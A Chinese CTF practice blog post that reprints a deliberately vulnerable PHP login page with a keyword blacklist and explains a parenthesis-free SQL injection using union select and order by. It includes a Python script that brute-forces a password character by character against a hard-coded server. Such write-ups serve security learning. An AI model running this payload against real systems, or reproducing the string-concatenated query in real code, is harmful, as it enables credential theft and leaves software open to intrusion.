CTF打卡~Day20

/ 0评 / 0

emmm其实今天比较大的感悟也就是这个过滤括号注入

https://blog.csdn.net/nzjdsds/article/details/81879181?tdsourcetag=s_pctim_aiomsg

<?php 
// auth:“蓝鲸塔主”
$dbhost = "localhost";
$dbuser = "root";
$dbpass = "root";
$db = "test";
$conn = mysqli_connect($dbhost,$dbuser,$dbpass,$db);
mysqli_set_charset($conn,"utf8");
 
/* sql
create  table `admin` (
`id` int(10) not null primary key auto_increment,
`username` varchar(20) not null ,
`password` varchar(32) not null
);
*/
function   filter($str){
    $filterlist = "/\(|\)|username|password|where|
      case|when|like|regexp|into|limit|=|for|;/";
    if(preg_match($filterlist,strtolower($str))){
        die("illegal input!");
    }
    return $str;
}
$username = isset($_POST['username'])?
filter($_POST['username']):die("please input username!");
$password = isset($_POST['password'])?
filter($_POST['password']):die("please input password!");
$sql = "select * from admin where  username =
'$username' and password = '$password' ";
$res = $conn -> query($sql);
if($res->num_rows>0){
    $row = $res -> fetch_assoc();
    if($row['id']){
        echo $row['username'];
    }
}else{
    echo "The content in the password column is the flag!";
}
?>

这题实际上并没有给源码,所以很大程度上靠的是盲注,猜数据库名为admin,之后union select1,2,3之后就能看到回显2。说明回显位是2.

之后我们因为其屏蔽了括号,并不能直接在2的地方select或者做别的操作。我们就可以利用order by的特性(具体看原文)

这个注入的方法就是,拼接注入语句后会取出表中指定username的信息,我们可以利用order by的方法来让其和在数据库中的数据逐位比较。SQL中,order by的字符串排序是正序的。

因此我们就可以利用这个来跑其的password。这个脚本并不是这题对应的解,但是可以参照其的方法。

import requests
url='http://101.201.126.95:7006/'
l='0123456789abcdefghijkmnlopqrstuvwxyz'
flag=''
for i in range(1000):
    for a in l:
        payload="admin' union select 1,'2','"+flag+str(a)+"' from admin order by 3#"
        data={"username":payload,
              "password":1}
        result=requests.post(url=url,data=data).text
        if 'admin' in result:
            flag+=l[l.index(a)-1]
            print(flag)
            break

关于SQL盲注,还有很多:

https://www.anquanke.com/post/id/160584

https://blog.csdn.net/huanghelouzi/article/details/82995313

发表评论

闽公网安备 35012102500115号